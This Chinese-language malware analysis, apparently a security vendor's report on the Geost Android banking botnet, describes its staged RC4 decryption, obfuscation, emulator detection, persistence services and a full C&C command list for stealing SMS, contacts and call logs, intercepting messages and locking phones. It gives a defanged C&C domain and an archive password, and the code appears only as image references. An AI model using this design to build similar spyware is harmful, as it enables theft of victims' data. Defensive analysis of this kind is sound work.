之后,开始搜索通用代码库,找到了Android.support.v4库和ReflectASM Java Reflection库。

带有加密字符串的代码:

11.png

在解密以及符号去混淆后,包含字符串的代码:

12.png

至此,我们已经可以读懂第一阶段的代码:它使用反射代码隐藏了几个特定的类和方法。基本上,第一阶段使用相同的RC4算法和密钥解密第二阶段的文件。

反射方法调用示例:

13.png

前面提到的“.cache”文件被重命名为.localsinfotimestamp1494987116,并在解密后保存为ydxwlab.jar,从中加载并启动.dex文件。

解密并保存第二阶段:

14.png

代码作者在其中插入了一个错误的标志HttpURLConnection以及其URL,该URL似乎已经连接到命令和控制(C&C)服务器。但是,这个HTTP链接将永远不会执行。

错误标志:

15.png

第一阶段会从第二阶段的开始部分加载一个类,研究人员将其命名为“MaliciousClass”。

启动第二阶段:

16.png

第二阶段

通过查看classes.dex,我们可以看到在第二阶段中再次使用了混淆和加密的方法。但是这一次,符号名称部分被替换为长度为1-2个字符的字符串,而不再是之前使用的6-12个字符。此外,还修改了字符串加密算法,使之与上一阶段使用的算法不同。这里还使用了不同的工具。此外,针对每个类别,分别修改了解密算法的参数。

由于goto命令会跳入if块,因此所有Java反编译器在反编译解密算法时都会出现问题,只有Jeb反编译器可以很好地处理这一结构。

解密算法的Smali代码:

17.png

Java解密算法代码:

18.png

每个类的解密方法都包含不同的参数顺序和不同的常量,这使得编写Python解密脚本变得更加困难。这意味着,解密脚本必须从Smali代码中检测算法设置并进行自我调整,或者必须在解密每个类之前手动在脚本中设置参数。

加密字符串的示例:

19.png

字符串解密后,就可以检测到所使用的库,其中包括:

· AES加密引擎

· Base64编码

· 模拟环境检测器

· 文件下载服务

· IExtendedNetworkService

· USSD API库

· Zip4jUtil

初始化阶段

从第一阶段开始调用的MaliciousClass将作为实例化类的信封,研究人员将其命名为“Context”。

Context类:

20.png

Context类首先启动EmulatorDetector服务,随后启动AdminService和LPService这两个服务,然后启动主应用程序Intent。

主初始化例程:

21.png

模拟环境检测器

模拟环境检测器会检测恶意软件是否正在模拟环境中运行。该样本可以检测到Nox、Andy、Geny、Bluestacks和Qemu Android模拟器的存在。

追踪模拟环境:

22.png

AdminService

该服务负责向应用程序授予管理员权限。这是最关键的部分,因为它可以访问敏感数据并启用特权操作。

AdminService的关键部分:

23.png

LPService

该服务负责保持应用程序运行,并连接到C&C服务器。它使用WakeLock和WifiLock acquire()调用来实现。这样做的副作用是电池耗电量明显增大,但大多数受害者通常都会忽略这一点。

锁定CPU和WiFI资源:

24.png

LPService随后创建LPServiceRunnable线程,该线程每隔5秒钟唤醒一次,并监视和重新启动以下服务:

· MainService

· AdminService

· SmsKitkatService

该服务还收集有关正在运行的进程和任务的信息。它还会定期启动WebViewActivity,后者可以打开浏览器窗口以访问任意URL或启动恶意代码。在该示例中未实现WebViewActivity代码。

MainService

MainService首先挂钩到AlarmManager以设置时间计划任务,随后注册两个广播接收器MainServiceReceiver1和MainServiceReceiver2。在初始化阶段结束后,它将启动MainServiceRunnable线程。当样本执行重载的onDestroy()方法时,它将再次重新启动MainService。

重载onDestroy以重新启动MainService:

25.png

MainService中包含的一个重要方法是processApiResponse(),该方法负责处理从C&C服务器接收的命令字符串,该命令使用JSON格式。

处理C&C服务器的命令:

26.png

ClearService

该服务调用ClearServiceRunnable线程,这一线程负责锁定/解锁命令,以阻止或取消阻止用户活动,因此僵尸网络运营者可以在无需用户操作的前提下远程执行任务。如果尝试终止ClearService,它还会重新启动其自身。

ClearService类:

27.png

ClearServiceRunnable:

28.png

SmsKitkatService

该服务旨在用攻击者编写的另一种应用程序替换标准的短信息应用程序。在我们所分析的样本中,它使用默认的短消息应用程序,未进行替换。

用于替换默认短信息应用程序的代码:

29.png

命令

我们可以在下面的表和屏幕截图中看到该恶意软件可以识别的命令列表(按照代码中定义的顺序排列):

#conversations

从content://sms/conversations/、content://sms/inbox和content://sms/sent位置收集所有短信息的地址、正文、日期和类型,并将其发送到C&C服务器。

#contacts     

从content://com.android.contacts/data/phones收集所有联系人的列表,并将其发送到C&C服务器。

#calls    

从content://call_log/calls收集所有通话记录,并将其发送到C&C服务器。

#apps   

收集已安装软件包名称和标签的列表,并将其发送到C&C服务器。

#bhist   

该样本中将忽略此命令。

#interval {set:number}  

设置获取C&C服务器命令的时间段。

#intercept    

设置拦截短信的电话号码(全部“all”或号码列表)。

#send id:, to:, body:    

发送短信。

#ussd {to:address, tel:number}  

使用USSD框架拨打电话。

#send_contacts   

发送短信给电话簿中的所有联系人。

#server  

设置计划运行时间。

#check_apps {path:uri_to_server}      

将正在运行的应用程序列表发送到C&C服务器,从参数中定义为error.zip的路径下载archive.zip文件,然后将其解压缩。Zip压缩文件的密码为“encryptedz1p”。默认服务器名称为hxxp://fwg23tt23qwef.ru/。

#send_mass {messages: {to:address, body:text}, delay:ms}    

将多个短信息发送到不同的地址,两次发送之间会有延迟。

#lock    

从ClearServiceRunnable启用RLA服务,该服务将拦截按键的AKEYCODE_HOME、AKEYCODE_CAMERA和AKEYCODE_FOCUS事件。它还会拦截onBackPressed()活动方法,使铃声变为静音,清除所有短信息通知,自行停止并导致手机无响应。

#unlock  

禁用#lock命令的操作,并通过停止ClearServiceRunnable的方式来解锁手机。

#makecall {number:tel_number}       

使用标准的android.intent.action.CALL API来拨打电话。

#openurl {filesDir=j:url}      

打开网页URL。

#hooksms {number:tel_number}      

挂钩到一个特定的号码,将所有收到的短信息转发到参数中的号码上。

#selfdelete   

将任务时间设置为无法解析的字符串值,这将停止其自行调度的任务。

命令列表

C&C服务器命令列表:

30.png

ApiRequest、ApiResponse和ApiInterfaceImpl

ApiRequest、ApiResponse和ApiInterfaceImpl类负责启用与C&C服务器的通信。在连接参数初始化中,默认情况下replaceWithRandomStr变量的值设置为true,并且在代码内未进行更改。

构建C&C服务器连接字符串:

31.png

连接参数初始化:

32.png

在这里,使用了一种算法来为C&C服务器URL生成随机字符串。随后,初始化API连接,并设置为C&C服务器的主机名。

为C&C服务器URL构建随机字符串:

33.png

API连接初始化:

34.png

设置C&C服务器主机名:

35.png

下面展示了在执行C&C服务器命令“#contacts”时的API用法。最后,命令的参数以JSON格式附加,并转换为字符串。

C&C服务器API调用示例:

36.png

最佳实践与解决方案

Trend Micro在2020年安全预测中,预测了针对在线银行和支付系统的移动恶意软件家族(例如Geost)的持续增长。移动用户在目前日益危险的整体环境中,应该遵循最佳实践以保护自己的移动设备安全。其中最关键的一大注意事项,就是应避免从官方应用商店以外的地方下载应用程序。

但遗憾的是,威胁参与者也逐渐找到了通过合法应用商店传播恶意应用程序的方法。这些应用商店应加强稽查力度,下架受感染的应用程序,作为用户也应该在下载前仔细检查应用程序的评论和其他信息,以避免下载恶意应用。

应用程序的用户在点击允许之前,应该仔细检查已安装应用程序所请求的权限。在安装后,用户应当留意设备发生的变化,例如性能降低或电池寿命降低,这些都可能是感染恶意软件的特征。一旦发生上述情况,用户应该立即删除新安装的应用程序。此外,用户还应该定期进行检查,以删除无实际需要的应用程序。

为了进一步防范移动威胁,用户可以安装多层移动安全解决方案,以保护设备免受恶意应用程序和其他移动威胁的侵害。

威胁指标

SHA-256:92394e82d9cf5de5cb9c7ac072e774496bd1c7e2944683837d30b188804c1810

检测名称:AndroidOS_Fobus.AXM